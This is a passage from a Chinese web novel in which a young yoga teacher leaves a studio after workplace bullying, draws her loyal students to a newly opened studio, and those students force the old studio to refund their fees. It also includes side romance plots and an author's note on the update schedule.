馆长觉得她的笑很讽刺，像是看穿她的心思，更加气急败坏，声线尖锐道：“我有什么不满意的？我让你去参加培训是为你好，让你专业知识更扎实。哪个老师在教课前，没有多花钱去培训？出了事，谁负责？” “我犯得着针对你吗？真是搞笑。” 高雯看着面色铁青，把话说得如此漂亮又冠冕堂皇的馆长，她语气微沉，“你在瑜伽行业从事了二十年，你比谁都清楚，什么课程才是真正有含金量的课程，而不是一些所谓没有含金量的证书，那么昂贵的学费，你真的一点都不心疼那些在馆里上了一节又一节课的老师，她们都是辛辛苦苦为你赚钱，剩下的那点钱不该被这样收割。” 对方如此伪善，她的话点到为止，高雯不准备多说，转身就要离开。 馆长拔高声调冷冷道：“你不用上完这个星期的课，下午就不用来了，我倒要看看，你是有多大的能耐，能掀起什么风浪！” 话落，她看向高雯，讥诮道：“你懂什么？你能懂什么？还真以为有几个会员上你的课，觉得自己神了，可笑！离开这里，你课都没得上！” “这不重要，”高雯笑意淡淡，语气平平，“您还是管着自己，不要太被利欲熏心，昧着良心赚钱小心被反噬。” 馆长一口气险些都没提上来。 门外，张妮和另一个会员面面相觑，眼底带着震惊。 张妮是误打误撞听到的，另一个会员则是在楼梯间接电话，听到有人吵架，赶紧就来趴着听了，眼底都是对八卦的好奇。 “快走。”另一个会员一听没动静了，赶紧要拉着张妮走。 可惜来不及了，高雯打开门，就看到门外的两人。 两人神色尴尬，刚要说话，高雯就把门关了，她笑了笑，没有开口，冲两人点了点头，离开了。 “啪！”会议室里传来一阵拍桌的声音，火气不小。 张妮原本还担心高雯，但比起馆长，高雯好像还好，好像丝毫不在意？ 很是体面啊。 当天上午，原本高雯上的课，要么换人，要么取消。 张妮这段时间都习惯去瑜伽馆上课了，突然没了高雯的课，她也没了上课的欲望，改成逛街，无聊的时候，就去顾书杰的公司转转，还吐槽了在瑜伽馆遇到的事情。 “哪个瑜伽老师上课不都一样？”顾书杰喝着咖啡，随口一说。 “不一样！”张妮拔高声音，“她上课很负责任的，虽然比较严厉，但效果好啊，况且，这不是她的错，分明是瑜伽馆为难人，欺负她一个小姑娘。” “上课的时间点不好，而且说不让她上课就不让她上课了，还在群里说是老师有事上不了，凭什么这么霸道啊？” “就凭人家是馆长，人家开工资，所以想怎么样，就怎么样，”顾书杰话语慢悠悠，“这个世界是不公平的，职场就是会有霸凌，没有办法。” “万恶的资本家！”张妮一听，眼底一怒，走过去抬手就往顾书杰身上打了一巴掌，恶狠狠骂了一句。 “嘶——你打我干嘛？”顾书杰皱了脸，“我是你老公，我赚的钱都给谁花了！你搞清楚！” “那也是可恶的资本家。”张妮怒火没消。 顾书杰都气笑了。 方寒本来心无旁骛在写代码，自从张妮说了那些话，他的动作慢了半拍，脸上带上不少担忧。 他毕业后就在大厂工作，在公司里只有生存压力，福利待遇都很好，没有所谓的职场暴力或者被为难。 但外面的社会好像不是这样，高雯上一次也回来说被馆长为难了，还非常郁闷。 不知道她的事情被解决了吗？会不会也被这样威胁。 张妮和顾书杰又拌了好几句嘴，顾书杰自然是让着老婆，连连认错：“行行行，我知道她很冤枉，但也没办法啊，既然是瑜伽老师，这里不能上课了，就会去下一个瑜伽馆，到时候你问问，再过去就好了。” 张妮想想也是，她要去问问。 放过顾书杰后，她看到了走神的方寒，她往他那头问：“方工，那个电脑怎么样了？数据修复好了吗？” “好了。”方寒回，为了不被看出异样，他继续把视线放在电脑上，接着投入工作。 张妮看着神色专注的方寒，开口道：“方工真努力，下了班，还要继续来这里加班。” 努力上进的人，总是格外耀眼。 张妮觉得她老公是这样，高雯是这样，方寒也是这样。 “还没结婚生子的时候不努力，以后怎么养老婆孩子啊？”顾书杰说完补充，“现在最需要努力存钱，以后花销大着呢，而且还要照顾娃和老婆。” 闻言，张妮一脸幸福又崇拜看向顾书杰，随即又看向方寒道：“方工，你要加油噢！” 方寒听着顾书杰刚刚说的话。 赚钱养老婆孩子？ 他光想着，耳朵微微泛红，躲开了张妮鼓励的视线。 许是被张妮和顾书杰说的话扰了心神，方寒提前回去了。 一路上，他都在想，高雯今天在瑜伽馆有没有被欺负，她会不会也很难过？ 方寒好几次想发消息给高雯，最后忍住了，只是在楼下的便利店时，买了两瓶她喜欢喝的鲜牛奶，日期新鲜，说是刚送过来的。 到了家，方寒推开门，高雯听闻动静，也望过去，两人视线相对。 高雯原本被文献折腾得无神的眼眸在看到活人后亮了亮，染上一丝笑意：“你回来了？” 方寒看到她的笑容，紧绷的神经倏然松下来：“嗯，”他说着走过去，把两瓶奶放在桌子上，“买一赠一，所以买了两瓶。” 保质期短的鲜牛奶是易损品，时常会打折，高雯毫不怀疑，甚至道：“那还挺划算的，能省十几块呢。” 过日子，就是得精打细算！尤其是她现在都半失业了！ 方寒放下书包，拿着牛奶去了厨房，高雯也起身，跟着他走进去。 他把牛奶倒出来，放在杯子里准备加热，她则打开冰箱，把买的水果拿出来：“我买樱桃的时候，看到刚到货的大芒果，也买了一个，特别大，很新鲜。你看。” 方寒把她的电脑修好了，说不要钱，她买水果的时候顺道给他买，她都记着，今天特意去买了。 高雯说话的时候，把冰箱里的大芒果拿出来，芒果的确很大，她用一只手都拿不过来，得用两只手捧着。 她也是第一次买这么大的芒果，看着还有点激动兴奋的样子。 方寒看着她娇俏灵动的模样，不敢多看，伸手把加热的牛奶给她，见她一副蠢蠢欲动样子，率先开口：“把芒果吃了吧？我想尝尝。” 高雯眼底深处闪了闪，都能想到果肉的香甜，她还要装作淡定的样子：“现在就要吃吗？这么大的芒果也吃不完吧？” “没事，一会给他们留点。”方寒说完询问，“你也吃点？尝尝味就行。” 吃多了，她该愧疚了，又要跳脚。 “那好吧，一小口就行。”高雯用手比了一点点，眼底带着迫不及待。 没看到食物的时候，她就会忍着，看到了闻到了，她比任何人都馋。 方寒嘴角扬起一阵浅笑：“好。” “你会削吗？我不会。”高雯为难，她买水果都是习惯性让店员处理干净，能直接吃的那种。 虽然贵一点，但方便。 “我会。”方寒将芒果洗干净，从柜子里拿出一次性的手套带上，熟练削芒果。 芒果的清香在厨房里弥漫，高雯看着低头处理水果的方寒，他的睫毛细长，薄唇抿唇。他做任何事好像都非常专注认真，动作温和。 高雯意识到自己盯着方寒看太久，连忙收回视线，喝着牛奶往外走：“学长，我先去看文献，马上要交开题初稿了。” “嗯。” 高雯离开后，方寒才抬头，动了动略微僵硬的脖子，心里默默叹气。 从小到大，他做一切事情，都有条不絮，唯独面对她，动不动自乱阵脚。 * 林思悦上次上完高雯的那节课，回家后肌肉疼了两天，她的懒病犯了，取消了后面的两节约课，想着自己这个星期已经成功约了几节，大不了之后的几节再接连着上好了。 等到她想上周末的课时，这才发现课程的老师改成咪咪了。 林思悦再三确认后，她在群里问：【周六上午的课不是雯雯老师吗？怎么变成咪咪了？】 前台小圆立刻在群里@林思悦回道：【雯雯老师有事，暂时上不了课，实在不好意思，希望谅解。】 林思悦一阵失落，都懊悔自己为什么不接着上那两节。 林珩见林思悦在家瘫了几天，吃完晚饭，他问道：“你怎么又不去锻炼了？” “雯雯老师这个星期都没排课。”林思悦说。 林珩拧眉：“瑜伽馆有那么多老师，那么多课，没有适合你上的吗？做事不要只有三分钟热度。” 林思悦心不在焉听着他的话，还在回手机消息。 “林思悦。”林珩沉了声。 林思悦突然抬头，愤愤不平道：“雯雯老师好像是被瑜伽馆针对，所以才辞职了，太过分了吧，我上次就看到她一个人在馆里，连个前台都没有，下课都那么晚了。” 张妮和林思悦上次加了微信，张妮和她说，雯雯老师不会再来上课，馆长不让她来了，就连这个星期的课都没让她上完。 “这个馆长真不是人，给她安排的时间那么差，分明是针对她，这样的话，老师肯定不愿意来上课了啊。”林思悦说完还问林珩，“哥，你说是吧？” 林珩面不改色：“一个新人老师，资历浅薄，馆里这么安排，自然有她的理由，作为新人，就是要先学习，要沉得住气。” “她不上了啊，再也不来上课了。”林思悦说起这事都气愤，垮着脸道，“我还约了她的课，我怎么办？” “没有人会因为她不上课捧着她，没有她的课，你也可以去上别人的，”林珩想到了辞职的高雯，脸色更是一沉再沉，“翅膀还没长硬，就急于表露自己的脾气，在社会上打拼，没有人会顺着你，你要自己去适应环境。” “哥，你根本就不知道发生了什么事情，”林思悦觉得高雯也不是那种人，“她还蛮负责任的。” 林珩：“一个新人，还没在馆里待多久，就这么有脾气，换了一个馆呢？能跑几次？” 他对于高雯不领情的事情，多少有些耿耿于怀。像是急于证明自己是对的，一直以来，他的决定和判断，从未出错。 林思悦：“是别人针对她啊。” “你又知道全部事情了？”林珩反问。 林思悦气得不行，怼道：“有人都听到了，哥，我怎么感觉你对她有恶意？说话都那么带刺啊。” 林珩黑了脸：“你说什么？！” “好啦好啦，大不了换一个馆，换个老师就是了，还会有其他厉害的老师。”林母出来打圆场。 林思悦从小就没胆子和林珩杠上，一时被他这幅样子吓到了，但她还是梗着脖子道：“哥说这话本来就是有偏见，别人的课我都觉得不好，她不上就算了，我之后也不想去练了，还不如在家睡觉。” 话落，林思悦赌气回了自己的房间。 “你这孩子——”林母满脸无奈。 林珩脸色一阵青白，眼底带了些薄怒。 高雯觉得他不对，林思悦现在也觉得他说得不对？两个还没毕业的小丫头，倒是振振有词。 “小珩啊，你也不要和她掰扯了。” “妈，我去公司加班了。” 林珩打断林母的话，转身往外走。 林母看着两人，一阵头疼，恰逢此时，姜舒妍打来电话，她就说了这事。 姜舒妍在那头耐心听，柔声宽慰林母：“伯母，您别担心，他们是亲兄妹，哪有什么隔夜仇，一会我要去找阿珩，也会和他说说，小悦还小，肯定有点自己的脾气。我知道小悦难得出门，没有在家里躺着，我朋友也开了一家瑜伽馆，我明天就去您家，带小悦一起去那边看看，给她选个有经验的好老师带带她，让人多关照关照。” “她在家躺了这么久，是要出去活动活动，锻炼是好事，这个爱好得鼓励支持她坚持下去。” 姜舒妍一顿安抚下，林母很是欣慰，直夸幸好有她。 翌日。 姜舒妍早早就去了林家。 姜家和林家算是世交，算是门当户对，两家大人有意撮合林珩和姜舒妍，不过两人如今的关系算平平淡淡，属于恋人未满的状态。 “小妍来了？快进来吧，正好一起吃早餐。”林母笑得热络，一脸亲昵对姜舒妍说。 “阿珩呢？”姜舒妍问。 姜舒妍刚说完，就看到走过来的林珩，他穿着休闲款西装，身材高挑颀长，一张脸轮廓立体，气质清冷倨傲。 单单这张脸，就足以让她心动，更别提林珩的能力和专一，简直是她原本无法得到的男人。 姜舒妍在没穿越到这本书，成为女主前，她不过是一个普普通通的人，平平无奇，因为熬夜看了这本甜文，羡慕女主不仅有好的家境，还有林母这个好婆婆，更重要的是男主霸道帅气又专一，女主什么都不用做，就可以拥有这么好的命运，过完美的一生，所有配角都是她的陪衬，还不用她亲自处理就自寻死路。 她在想，自己如果能成为女主就好了。 结果一觉醒来，她真的变成了姜舒妍。 “快来吃点早餐，才刚做好，热乎的。”林母拉着姜舒妍，往餐桌走，又忙里忙外给她拿碗筷。 “小悦呢？”姜舒妍开口问。 “这么早，肯定是没醒。”林母摇头，“她现在啊，一觉能睡到下午，除了要早起去练瑜伽，不然中午能醒都算早了！” “看来还是去练瑜伽能让她作息规律啊，我必须要给她找一个她满意的瑜伽老师，”姜舒妍笑，随口问，“原先那个瑜伽老师是怎么回事？不上课了是吗？” “是啊，听说和瑜伽馆发生了矛盾，自己辞职不上了，具体也不知道怎么回事。她说不是瑜伽老师的问题，是馆里的问题，为此还发了好大火，说那个老师挺好的，要给人家打抱不平。” 林母刚说完，林珩就下定义道：“让她别掺和，小心被人当枪使。发生一点矛盾，动不动就要辞职不干，没有解决问题的能力，也是对自我定义的不清晰。” “我不认为这样的人，有很好的耐心和教授能力，离开了这一家馆，下一家未必就好，或许还不如这一家。” 姜舒妍也点了点头：“这倒也是，她辞职威胁不了任何人，在没找到下一份工作，受点委屈就直接离职，看似硬气，实则可能连找下一份工作都费劲，把日子过得窘迫。” “我看趁机换了这个老师也好，我给她找个更专业的，好的老师那么多，不差这一个。” 林母刚要接话，林思悦就从里面出来。 “小悦醒啦？赶紧来吃早餐，舒妍来了。”林母对林思悦说。 姜舒妍则站起身，准备做林思悦和林珩两人之间的调和剂，这两人昨天才发生一点不愉快，正是她发挥作用的时候。 “妈，我不吃了，我要出去。”林思悦说着，匆匆忙忙去穿鞋子。 “这么早，你去哪？”林母问。 林思悦满脸笑意，有些激动道：“雯雯老师去别的新馆了，这个梵盈简直不要太恶心，只让她兼职不给她卖私教，还要故意刁难她，不仅压她课时费，居然还逼她自费培训，不然就给她‘穿小鞋’。那家新馆直接把她升级为金牌老师，那里可比这家装修好多了。她在那家瑜伽馆开设的课程多，各种各样都有，时间段还很好，简直是太好了。” “那家瑜伽馆今天新开业，有好多活动，我得赶紧去看看。” 林思悦说完，小跑着出了门。 林珩刚刚把贬低的话说得那么掷地有声，以至于姜舒妍都不敢去看他难看无比的神色。 同时，她升起一阵担忧。 林思悦以前只缠着她，有什么事情都跟她说，想去哪都让她陪着，对她很喜欢，张口闭口就是嫂子嫂子喊。 自从上了瑜伽课，林思悦经常提到的就是这个瑜伽老师，好久都没主动联系她了。 16、第16章 第16章 第16章 我们先去报课，给雯雯冲销量…… 清早, 太阳正升起。 偌大的商场虽不如晚上热闹繁华，却因为背靠大型超市和高耸的写字楼，来来往往的人群不少。 一道清越而节奏超强的锣鼓声在商场广场响起, 惹得大家频频望去。 只见一金一银的两只狮子, 正在摇头晃脑，伴随着加密的鼓声, 一边表演节目一边往前开路。 围观的人群跟着它们往前走，来到了一家瑜伽馆门前。 两只狮子在瑜伽馆门口舞动表演着，惹得大家不断欢呼。 其中一只狮子, 停了下来，倏然俯在红毯上, 将前爪往前，后腰高高撅起, 模仿起来瑜伽中的“猫式”, 还真有几分像。 徐眉模样惊讶, 率先连连拍手叫好。 两只狮子像是受到鼓舞，继续表演着, 金狮子一个空中后翻, 来到了徐眉的面前，它的狮子金口一打开, 写着“生意兴隆”的绢布贺词被吐出来。 高雯没上课的这两天, 也是忙得脚不沾地，她和徐眉还有其他老师一起，为了这一场开业典礼在反复精心设计。 等的就是这一刻。 舞狮吸引来了不少人群, 高雯和其他瑜伽老师一起拿着宣传单就在人群中发放，一遍遍耐心介绍着瑜伽馆的课程。 如同徐眉所期望的那样，高雯在人群中实在耀眼, 她一出现，堪称瑜伽馆的颜值担当。 高雯今天穿了一件假两件的瑜伽上衣，下半身也是配有遮挡裙的瑜伽裤，相比以往课上穿的，低调很多，看着也像休闲套装，饶是这样，也将她纤细柔美的身材显露无疑，不断有人来问：“这件衣服哪买的？你们店里有卖的吗？” 瑜伽馆自然也会卖少量瑜伽衣服用品，高雯这套衣服，就是馆里的，一共才进货了十套，简直是秒卖。 大家都没想到，最先卖出去的不是课程，而是高雯身上的瑜伽衣服。 徐眉打趣高雯：“雯雯老师啊，你以后要是不教瑜伽了，你就去卖衣服吧？我看也能干得不错。” 高雯也没想到，一度失笑。 馆里设有签到处、抽奖区、咨询体验和手工活动坊。 活动非常丰富。 就算不报名课程，也可以体验。 一时间，馆里非常热闹。 徐眉看到许多女会员正直勾勾盯着高雯，将她拉到一边，两人低声商量了下，高雯在里面的大教室，现场上了一节肩颈理疗课。 大教室里陆陆续续涌入很多的女生，三十张瑜伽垫，瞬间都有了学员。大家都非常有默契 ，没有说话，默默跟着在中间的高雯，听着她轻柔舒缓的引导词，有模有样学着动作。 高雯也会走下来，来到学员身边，辅助她们做动作，并没有因为是免费课程而敷衍对待，让有些学员受宠若惊。 不少人轻轻打开门口往里探，也有些胆子大，就算没了瑜伽垫，也挤进去，在旁边跟着练。 张妮和林思悦两人来的时候，开业典礼早就开始了，瑜伽馆门口乌压压全是人。 她们没看到高雯，有些失落。 “你确定雯雯老师来这里了吗？”林思悦问张妮。 “我不确定啊，她说会换个地方上课的，我说语禾瑜伽馆在招人，马上开业了，她说可能会去。”张妮也很着急，她指了指徐眉，“我们去问问不就好了？” “你们要找雯雯老师？”徐眉看着两人，笑着指了指里面的大教室，“雯雯老师在里面上课。” “走走走，我们去看看。”林思悦更为着急，拉着张妮往里走。 教室门口全都是人，她们拼命往里挤，透过门的细缝，张妮兴奋道：“是雯雯，雯雯在上课。” “我看看。”林思悦凑上前，她看到里面全是人，起码有几十个人围着高雯，她脸色瞬间变了变，嘴巴撅起。 好多人，好多人围着她，自己的宝藏被发现了！ 可恶！她都吃醋了！ 张妮十分激动，拿着手机不断发消息：“我要让她们都来报雯雯的课，一定要支持她，让她在新馆红红火火！” 这段时间，张妮和不少会员一起上高雯的课，其中有几个老会员对高雯的印象也特别好，高雯不上课后，她们失望了几天，还向张妮问过高雯的情况。 现在得知高雯也在附近的新馆上课，她们一定很高兴。 “我们先去报课，给雯雯冲销量。”林思悦着急说。 她这副样子，不知道的还以为要给偶像冲榜单。 “好好好。”张妮狂点头。 咨询处。 销售正拿着课程表，在给客户介绍，徐眉也在一旁，见张妮和林思悦走过来，她嘴角含着笑，正要开口说话。 林思悦就率先开口了：“我们要报课。” “要报什么课程呢，我们这里有地面瑜伽、普拉提、维密课程——” “我们报雯雯老师的课。”林思悦没等她说完就说。 张妮笑着附和：“对，我们报雯雯的课。” 徐眉神色稍楞，她还真没问过高雯之前在哪授课，对于之前的事情，高雯似乎没打算说，字里行间，也没想过要把会员拉过来，没想到她还有忠实学员。 徐眉以为只有两个，没想到，半个小时后，又陆陆续续来了好几个。 她们都非常爽快，直接报课。 林思悦还想报私教，徐眉一脸歉意道：“不好意思，雯雯老师现在开设的只有小课和大课，还有维密课程，私教的话，我还没和她协商呢，因为她的课排得实在太多了。” 其实也是借口，真实情况是，徐眉对高雯专业技能给予非常大的肯定和期望，不想随随便便定一个被低估的价格，之后就不好提价了。 她想先开业，看看市场和会员对高雯的认可，然后再定价。 林思悦一听，又不开私教，但这一次的情况的确不一样，她也就忍下来，并且道：“她的私教我会报的。” “好的，开设私教后肯定第一时间通知你。看来雯雯老师很受欢迎啊。”徐眉看着好几个交钱的会员，感慨高雯的能力，不只是她看得到。 高雯上完课出来，人群散了一些，她看到了坐在休息区的张妮还有林思悦，神色诧异吃惊。 紧接着，高雯又看到了那几个经常上她课的老会员，她们都很开心朝她招手打招呼。 “是不是很惊喜，很意外！”张妮笑着上前，“我们来报课支持你啦，你去哪，我们就去哪，是不是很感动？！我们又可以上你的课了。” 高雯的确非常意外，看着她们热情激动的面容，心底还有些微微发涨，泛起一种难以言说的感觉，她甚至都不能理解她们这种行为。 她和她们相处时间并不长，所以没想过换馆要拉人，心里更没想过有人会愿意跟她走。 高雯一直认为，认真上课拿课时费只是她的义务和责任，完全没料到会被这么认可和跟随。 “雯雯，你上课这么好，离开你，我还怎么适应别人？”张妮抱了抱高雯，笑着对她说。 “谢谢。”高雯这话说得很真心。 她虽不能理解这种感觉，但的确让她觉得，其实这个世界上，还是会有温情存在吧？ 人，好像也会因为有了一点特殊的感情，更热爱这个世界。 高雯看到在一旁扭扭捏捏的林思悦，她笑着道：“你的肩颈，好像又变回来一些，没有太保持哦。” 林思悦眼睛一瞪，神色有些紧张，立马就挺直腰杆，带着小声嘟囔道：“你都不上课了，我还怎么练？当然保持不了啊。” “不许偷懒，连续上半个月的课，我给你调回来。”高雯笑着说，随后道，“保证挺直漂亮。” “你说的啊。”林思悦莫名有些期待。 “我说的，我还会给你拍几组看起来非常有难度，实际上你能完成网红的照片，美爆朋友圈。”高雯非常擅长观察会员，对每一个会员的特性，心里都有底。 果不其然，高雯一说完，林思悦嘴角的笑意都压不住，都快笑出声了。 她脑海里都开始想象评论和点赞要爆表了，这么出风头，不太好吧？多让人不好意思，真也没办法啦。 林思悦又想到一个事：“你说了要加我微信，你怎么都没加？” 这件事情，让林思悦耿耿于怀几天。 她也可以从群里主动加高雯，但她比较傲娇，因为高雯说过她要加她。 谁主动，这很重要。 高雯猛然想起，表情歉意：“实在不好意思，那天我给忘了，请原谅我。”她说着，连忙把手机拿出来，好言好语道，“给我一个成为你好友的机会好吗？” 语言是一门艺术，林思悦升起的那点傲娇，瞬间被抚平，她赶紧拿出手机，满脸高兴道：“我就勉强原谅你吧，快快加我！！！” 开业一天，完美收官。 徐眉统计了销售额，破了一百万。 这是一个非常好的兆头，其中，张妮和那几个会员冲着高雯来的，就报了接近二十万，张妮和林思悦，一人充了三万八千八。 通过高雯上体验课报名的会员，也有好几个。 由此得出，高雯一个人起码贡献了三分之一的销售额。 比起徐眉她们的激动，高雯内心倒很平静，比起钱，今天在瑜伽馆看到张妮几人，更让她觉得内心触动。 她以为自己是个情感冷漠的人，根本就不需要世间所谓的感情，一个人也可以过得很好，没有感情，反而不会被伤害。 原来，她也有受到触动，觉得温暖。 * 语禾瑜伽馆开业声势浩大，一天卖了百万销量，徐眉还做了个蛋糕庆祝。 这个消息，自然在行内传得广。 同时在这一个商场，原先只有梵盈一家，现在多了一家。 语禾瑜伽馆卖了百万销量，就意味着梵盈瑜伽馆失去了百万的市场。 原先，梵盈的馆长并不在意，甚至还对前台道：“这些年，有多少家瑜伽馆开了又倒闭，只有我们屹立不倒，还不知道他们能支撑几个月。” “到时候倒闭了，说不定会员都是我们接手。” 毕竟之前都这样。 前台看着馆长，犹豫了下还是开口：“馆长，我听说雯雯老师去那边了，而且混得还不错。” “什么？”馆长脸色顿时就变得难看，“她们用了高雯？” “嗯，还是专职老师，排了不少课。”前台点头。 馆长想起自己对高雯放下的狠话，面色难看至极，紧抿着唇没说话。 当天下午，有会员说起新开的语禾瑜伽馆，据说在做免费上一天体验课的活动，从会议室出来的馆长正好听到，笑着就道：“那个瑜伽馆很不专业的。” 闻言，两个会员望向她。 馆长继续道：“她那里的老师，以前都是我们这里的兼职，都不能转正成为专职老师，去了那边，就变成专职老师了，年纪小，基础都不扎实。前两天，隔壁吾悦广场的一个瑜伽馆，因为老师不专业导致会员受伤，最后都要做手术。” 听她这么一说，那两个会员哪还有想去上体验课的冲动，直接道：“老师不专业可不行，万一受伤，找谁说理啊？” “对啊，老师必须要专业，那个雯雯老师更是不行，都没上过几次培训班，我才没安排她上课，去了语禾，课多得很。”馆长说着摇头。 前台听到馆长这么说，有些欲言又止。 高雯上课其实还行，很多会员都反映她很负责。 况且，高雯在馆里的时候，都会帮她打扫卫生，还会让她晚点来上班。 前台对高雯的印象其实也越来越好，她这个人很随和，没有傲气。 馆长这么说，多少有点小心眼和计较了。 一个四五十岁的人，和一个刚毕业的小姑娘来这一招，多少有点难看。 在馆长的期待里，高雯的口碑会因此崩塌，导致语禾瑜伽馆的口碑也崩塌，客户量流失，最后撑不下去。 奈何，事情的发展并未如她所愿，消息先传到了张妮这边。 她气坏了。 经过这几天，张妮和林思悦的感情亲密不少，她第一次就时间告诉林思悦。 林思悦是个小姑娘，年轻气盛，整个人直接炸了，等到了夜里十二点，在群里发消息连续炮轰： 【你们瑜伽馆的馆长也太不要脸了，让雯雯老师报高额培训班，不报就不安排课，专门针对她，分明是你把她赶走了，不让她上完上周的课，还说她自己有事上不了。】 【现在雯雯老师在语禾挺好的，你又说人家不专业，还会把人练受伤，这算不算造谣？手段也太恶心了！】 【我看雯雯老师比馆里的所有老师都专业，而且还负责有耐心，上几节课效果立竿见影，我明天就去你们馆里退费，最好给我退了，不然我就到消费者协会举报你们！把你们挂网上！】 【劝大家都退费去楼下的语禾瑜伽馆试课，现在有一次免费体验课程，体验感比这里好，装修更豪华，设计更人性，服务态度更好。】 林思悦这消息是在大群和小群里都发了。 大群是年卡会员，一个群上千人，小群则是小课会员，一个群也有上百人。 林思悦挑这个时候发是因为馆长她们这种练瑜伽的，过了十点肯定就睡了，但是会员有很多夜猫子。 群里静悄悄，没人附和。 但大家都在看，在私底下议论疯了。 次日，馆长早醒看到群里的消息，脸色瞬间惨白，抖着手连忙把消息撤回去，直接把林思悦禁言，随即发了消息道：【抵制恶性行业竞争，清者自清，请理智看待事情，不要在群里发无关的消息。】 馆长不愧是人精，轻飘飘就把林思悦列为语禾瑜伽馆派来的“间谍”，专门来捣乱的，都是行业间的恶性竞争。 群里还是没人说话，馆长的心慢慢安定下来。 她是没想到，会有一个“傻子”给高雯出头，估计也是高雯故意挑唆的。 前台醒后，得知事情，也非常聪明，将昨天课上的照片补发，又连连发了好几天今天上课时间表，还有约课的链接。 消息很快就被顶上去了。 但前台早上来瑜伽馆没多久，直接傻眼了—— 作者有话说：第三更来啦。 谢谢大家支持啦。 然后，明天就不更咯，暂定一天两更，所以是22号上午九点和下午六点更哈。 大家晚安，再次谢谢你们，祝你们做个好梦！！！！ 17、第17章 第17章 第17章 请原谅我偷吃了你冰箱里的一…… 梵盈瑜伽馆的休息区, 坐着好几个会员。 其中就有林思悦和张妮。 一看全是经常上高雯课的会员，结合昨天群里的消息，前台知道就来者不善, 她只能硬着头皮上去招待。 林思悦也不拐弯, 她的意思很明确。 退课退费。 “我们是不退费的。”前台一开始还按规章办事。 “我们今天就要退费，凭什么不退费？我们不上课了就要退费啊, ”林思悦提高语气强调，“你们必须把钱给我退了，不然我们不会走的！” “没错。”张妮和几个会员纷纷附和, “退钱，我们不上课了！” 前台看到会员陆陆续续来上课, 还在八卦看热闹。 她头都大了，连忙道：“这个事我做不了主, 你们稍安毋躁, 我给馆长打个电话, 有话我们好好说。” “哼！”林思悦冷冷道，“她们今天肯定要退钱。” 前台听到她在身后的轻哼, 急得像热锅上的蚂蚁, 给馆长打完电话，她又回来小声恳求道：“姐, 姐, 我就是一个打工的，有什么事你们等馆长来了再说，退钱的事儿, 我真做不了主。” 馆长这一次的确过分了点，高雯也没做错什么，就被这么针对。 她真是没办法站在馆长这边当帮凶, 再说，她就一个领死工资的牛马，不想被殃及。 十五分钟后。 馆长就赶来了。 平日里她都把头发盘得精致，今天披头散发就来了，妆也没化，可想而知有多着急。 馆长到底是人精，急匆匆赶来，看到她们的时候，很快就调整状态，满脸笑意询问道：“大家都是老会员，课上得好好的，怎么突然就要退费呢？有什么事情可以沟通。” 张妮一看对方态度这么好，神色纠结，默默往后站。 她本来是不想来退费，比起这个，坑她的美容院都好几家了，不过林思悦要来，说是要给高雯撑腰，不上课当然要退钱，她就跟着来了。 馆长都好言好语了，几名老会员更不好撕破脸皮。 林思悦脑子里没那么多人情世故，直言道：“不想上了就退费啊。” 馆长记得林思悦，就是她在群里胡说八道，煽风点火。 哪怕她再咬牙切齿，脸上也得赔笑：“你们这些课都是活动价买的，本来就已经打折价，现在要退是不是说不过去啊？” “那就剩多少退多少，我们没让你多退。”林思悦说完继续道，“你们这里的瑜伽课，我不会再来上了。” 林思悦和高雯年纪差不多，在馆长眼里就是一个小屁孩，她自诩在社会上摸爬滚打几十年，根本不会把她们这种小姑娘放在眼里，但她也不想把事情闹大，一脸为难道：“钱的确是没办法退，这样吧，你们把卡转让给其他会员也行，本来要收五百转让费，现在我们不收了，免费转让。我们都各退一步，这样行吗？” 林思悦态度坚决：“我不想转让，那不是帮你卖课吗？我现在就要退费！直接给我退费就行！” 馆长话语略微强硬，企图震慑她：“当初是签了合同，我们不退课，合同上也明明白白写了，你也签名了，现在这样真的让我们很为难。” 别管课上不上，钱都进了她的口袋，就是她的钱。 要让她再拿出来，就相当亏。 这些课就一年有效期，她们不上，一年后就自动过期，算她白赚。 “你们这个合同，就是霸王合同，根本没有依据和作用，”林思悦看着馆长，她沉了脸，有理有据道，“你必须给我们退费，不然我就拨打消费者热线投诉你，而且，你并没有我们开发票，我会拨打财务热线举报你偷税漏税，我还会拨打政府热线、市长热线、全国官网也是可以上诉的。” “我们这个城市的相关部门处理问题非常有效率，我相信肯定会有很多部门会给我解决这个退费问题。” 林思悦这话一出口，馆长都蒙圈了，的确有点被唬住，面色都僵住了。 做生意，最忌讳被相关部门缠上。 尤其是，她们的确没开发票，要是来查，还不知道会查出什么，多少是有点心虚，也怕造成更严重的影响。 张妮一脸崇拜，偷偷给林思悦竖起大拇指。 牛啊。 馆长脸上的笑意没维持住，把她们都请到了会议室。 最后全都退费了，一共退了十几万。 林思悦几人大摇大摆走的时候，馆长气得眼冒金星，前台看到她的双颊都抽搐了，可怜又好笑。 林思悦和张妮还有几个会员，转眼就去了楼下的语禾瑜伽馆。对她们来说，反正是白得来的钱，直接又充到里面去了。 张妮绘声绘色给高雯表演着林思悦刚刚是如何霸气拿回会员费：“她叭叭叭一说完，气场好足，那个馆长的脸刷一下就变了，就像气球一下瘪了，好搞笑的。” 高雯冲林思悦竖起大拇指，含着笑道：“在维护自己的利益上，你好厉害啊！” 她说的是维护自己的利益，无关乎其他。 这个社会总是很奇怪，好言好语反而要被一些人坑，有时候态度强硬些，才能拿到自己想要的结果。 高雯看过来时，林思悦有些羞窘，扭捏道：“其实也没什么啦，我去网上搜，那些网友教我的。” 高雯每一次夸她，都会让她觉得有点点不好意思。 大概是高雯总是非常真诚，好似心里就是这么觉得，一点都不敷衍做作，配上她温婉柔软的声音和娇俏白皙的脸蛋，真是迷死人。 林思悦每一次都会心跳略微加速，小时候被老师表扬就这样，期待又紧张！ 可恶！这个女人！ “上课吗？还有两个空位。”高雯突然问，“今天上空中瑜伽，很出片。” “我上。”张妮报名。 林思悦一听很出片，立马举起手道：“我我我！” 高雯含笑起身：“走吧。 ” 梵盈瑜伽馆在针对语禾的开业时，也有了应对措施，他们在大力搞促销活动。 结果，万万没想到，林思悦几人的退费不是结束，而是开始。 馆长当时被林思悦吓住了，并没有想到，这种事有了先例，就像卸了阀门，后续的事情就不是她能控制了。 林思悦能闹，别人也能闹。 语禾瑜伽馆刚刚装修，位置就在一楼，总比挤着电梯上五六楼方便。 况且，高雯之前在梵盈瑜伽馆不仅上小课，她还上大课，大课的会员比小课多多了。 高雯认真负责的态度和专业细致的耐心，不是光凭馆长一张嘴就能颠倒黑白的，不少人就觉得她上课特别好。 梵盈瑜伽馆大搞特搞活动，没想到反而引来了退卡潮，馆长实在抵制不住，最后又退了二十多个会员的钱。 那几天，她直接长出了不少白头发，整个人肉眼可见憔悴。 